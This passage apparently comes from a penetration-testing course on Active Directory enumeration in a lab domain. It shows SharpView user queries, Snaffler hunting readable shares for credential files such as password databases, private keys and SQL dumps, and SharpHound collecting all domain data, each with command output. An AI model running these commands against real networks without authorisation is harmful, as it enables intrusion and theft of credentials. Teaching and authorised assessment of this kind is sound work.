Get_DomainUser -Identity <String[]> -DistinguishedName <String[]> -SamAccountName <String[]> -Name <String[]> -MemberDistinguishedName <String[]> -MemberName <String[]> -SPN <Boolean> -AdminCount <Boolean> -AllowDelegation <Boolean> -DisallowDelegation <Boolean> -TrustedToAuth <Boolean> -PreauthNotRequired <Boolean> -KerberosPreauthNotRequired <Boolean> -NoPreauth <Boolean> -Domain <String> -LDAPFilter <String> -Filter <String> -Properties <String[]> -SearchBase <String> -ADSPath <String> -Server <String> -DomainController <String> -SearchScope <SearchScope> -ResultPageSize <Int32> -ServerTimeLimit <Nullable`1> -SecurityMasks <Nullable`1> -Tombstone <Boolean> -FindOne <Boolean> -ReturnOne <Boolean> -Credential <NetworkCredential> -Raw <Boolean> -UACFilter <UACEnum> 

Here we can use SharpView to enumerate information about a specific user, such as the user forend, which we control.

PS C:\htb> .\SharpView.exe Get-DomainUser -Identity forend

[Get-DomainSearcher] search base: LDAP://ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
[Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=forend)))
objectsid                      : {S-1-5-21-3842939050-3880317879-2865463114-5614}
samaccounttype                 : USER_OBJECT
objectguid                     : 53264142-082a-4cb8-8714-8158b4974f3b
useraccountcontrol             : NORMAL_ACCOUNT
accountexpires                 : 12/31/1600 4:00:00 PM
lastlogon                      : 4/18/2022 1:01:21 PM
lastlogontimestamp             : 4/9/2022 1:33:21 PM
pwdlastset                     : 2/28/2022 12:03:45 PM
lastlogoff                     : 12/31/1600 4:00:00 PM
badPasswordTime                : 4/5/2022 7:09:07 AM
name                           : forend
distinguishedname              : CN=forend,OU=IT Admins,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
whencreated                    : 2/28/2022 8:03:45 PM
whenchanged                    : 4/9/2022 8:33:21 PM
samaccountname                 : forend
memberof                       : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share G Drive,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL}
cn                             : {forend}
objectclass                    : {top, person, organizationalPerson, user}
badpwdcount                    : 0
countrycode                    : 0
usnchanged                     : 3259288
logoncount                     : 26618
primarygroupid                 : 513
objectcategory                 : CN=Person,CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
dscorepropagationdata          : {3/24/2022 3:58:07 PM, 3/24/2022 3:57:44 PM, 3/24/2022 3:52:58 PM, 3/24/2022 3:49:31 PM, 7/14/1601 10:36:49 PM}
usncreated                     : 3054181
instancetype                   : 4
codepage                       : 0

Snaffler

Snaffler is a tool that can help us acquire credentials or other sensitive data in an Active Directory environment. Snaffler works by obtaining a list of hosts within the domain and then enumerating those hosts for shares and readable directories. Once that is done, it iterates through any directories readable by our user and hunts for files that could serve to better our position within the assessment. Snaffler requires that it be run from a domain-joined host or in a domain-user context.

Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
PS C:\htb> .\Snaffler.exe  -d INLANEFREIGHT.LOCAL -s -v data

 .::::::.:::.    :::.  :::.    .-:::::'.-:::::':::    .,:::::: :::::::..
;;;`    ``;;;;,  `;;;  ;;`;;   ;;;'''' ;;;'''' ;;;    ;;;;'''' ;;;;``;;;;
'[==/[[[[, [[[[[. '[[ ,[[ '[[, [[[,,== [[[,,== [[[     [[cccc   [[[,/[[['
  '''    $ $$$ 'Y$c$$c$$$cc$$$c`$$$'`` `$$$'`` $$'     $$""   $$$$$$c
 88b    dP 888    Y88 888   888,888     888   o88oo,.__888oo,__ 888b '88bo,
  'YMmMY'  MMM     YM YMM   ''` 'MM,    'MM,  ''''YUMMM''''YUMMMMMMM   'W'
                         by l0ss and Sh3r4 - github.com/SnaffCon/Snaffler

2022-03-31 12:16:54 -07:00 [Share] {Black}(\\ACADEMY-EA-MS01.INLANEFREIGHT.LOCAL\ADMIN$)
2022-03-31 12:16:54 -07:00 [Share] {Black}(\\ACADEMY-EA-MS01.INLANEFREIGHT.LOCAL\C$)
2022-03-31 12:16:54 -07:00 [Share] {Green}(\\ACADEMY-EA-MX01.INLANEFREIGHT.LOCAL\address)
2022-03-31 12:16:54 -07:00 [Share] {Green}(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares)
2022-03-31 12:16:54 -07:00 [Share] {Green}(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\User Shares)
2022-03-31 12:16:54 -07:00 [Share] {Green}(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\ZZZ_archive)
2022-03-31 12:17:18 -07:00 [Share] {Green}(\\ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL\CertEnroll)
2022-03-31 12:17:19 -07:00 [File] {Black}<KeepExtExactBlack|R|^\.kdb$|289B|3/31/2022 12:09:22 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\GroupBackup.kdb) .kdb
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.key$|299B|3/31/2022 12:05:33 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\ShowReset.key) .key
2022-03-31 12:17:19 -07:00 [Share] {Green}(\\ACADEMY-EA-FILE.INLANEFREIGHT.LOCAL\UpdateServicesPackages)
2022-03-31 12:17:19 -07:00 [File] {Black}<KeepExtExactBlack|R|^\.kwallet$|302B|3/31/2022 12:04:45 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\WriteUse.kwallet) .kwallet
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.key$|298B|3/31/2022 12:05:10 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\ProtectStep.key) .key
2022-03-31 12:17:19 -07:00 [File] {Black}<KeepExtExactBlack|R|^\.ppk$|275B|3/31/2022 12:04:40 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\StopTrace.ppk) .ppk
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.key$|301B|3/31/2022 12:09:17 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\WaitClear.key) .key
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.sqldump$|312B|3/31/2022 12:05:30 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\DenyRedo.sqldump) .sqldump
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.sqldump$|310B|3/31/2022 12:05:02 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\AddPublish.sqldump) .sqldump
2022-03-31 12:17:19 -07:00 [Share] {Green}(\\ACADEMY-EA-FILE.INLANEFREIGHT.LOCAL\WsusContent)
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.keychain$|295B|3/31/2022 12:08:42 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\SetStep.keychain) .keychain
2022-03-31 12:17:19 -07:00 [File] {Black}<KeepExtExactBlack|R|^\.tblk$|279B|3/31/2022 12:05:25 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\FindConnect.tblk) .tblk
2022-03-31 12:17:19 -07:00 [File] {Black}<KeepExtExactBlack|R|^\.psafe3$|301B|3/31/2022 12:09:33 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\GetUpdate.psafe3) .psafe3
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.keypair$|278B|3/31/2022 12:09:09 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Infosec\UnprotectConvertTo.keypair) .keypair
2022-03-31 12:17:19 -07:00 [File] {Black}<KeepExtExactBlack|R|^\.tblk$|280B|3/31/2022 12:05:17 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\ExportJoin.tblk) .tblk
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.mdf$|305B|3/31/2022 12:09:27 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\FormatShow.mdf) .mdf
2022-03-31 12:17:19 -07:00 [File] {Red}<KeepExtExactRed|R|^\.mdf$|299B|3/31/2022 12:09:14 PM>(\\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL\Department Shares\IT\Development\LockConfirm.mdf) .mdf

<SNIP>

Bloodhound

SharpHound in Action

PS C:\htb> .\SharpHound.exe -c All --zipfilename ILFREIGHT

2022-04-18T13:58:22.1163680-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-04-18T13:58:22.1163680-07:00|INFORMATION|Initializing SharpHound at 1:58 PM on 4/18/2022
2022-04-18T13:58:22.6788709-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-04-18T13:58:23.0851206-07:00|INFORMATION|Beginning LDAP search for INLANEFREIGHT.LOCAL
2022-04-18T13:58:53.9132950-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 67 MB RAM
2022-04-18T13:59:15.7882419-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-04-18T13:59:16.1788930-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-04-18T13:59:23.9288698-07:00|INFORMATION|Status: 3793 objects finished (+3793 63.21667)/s -- Using 112 MB RAM
2022-04-18T13:59:45.4132561-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2022-04-18T13:59:45.4601086-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2022-04-18T13:59:45.8663528-07:00|INFORMATION|Status: 3809 objects finished (+16 46.45122)/s -- Using 110 MB RAM
2022-04-18T13:59:45.8663528-07:00|INFORMATION|Enumeration finished in 00:01:22.7919186
2022-04-18T13:59:46.3663660-07:00|INFORMATION|SharpHound Enumeration Completed at 1:59 PM on 4/18/2022! Happy Graphing

Unsupported Operating Systems

Local Admins

Last updated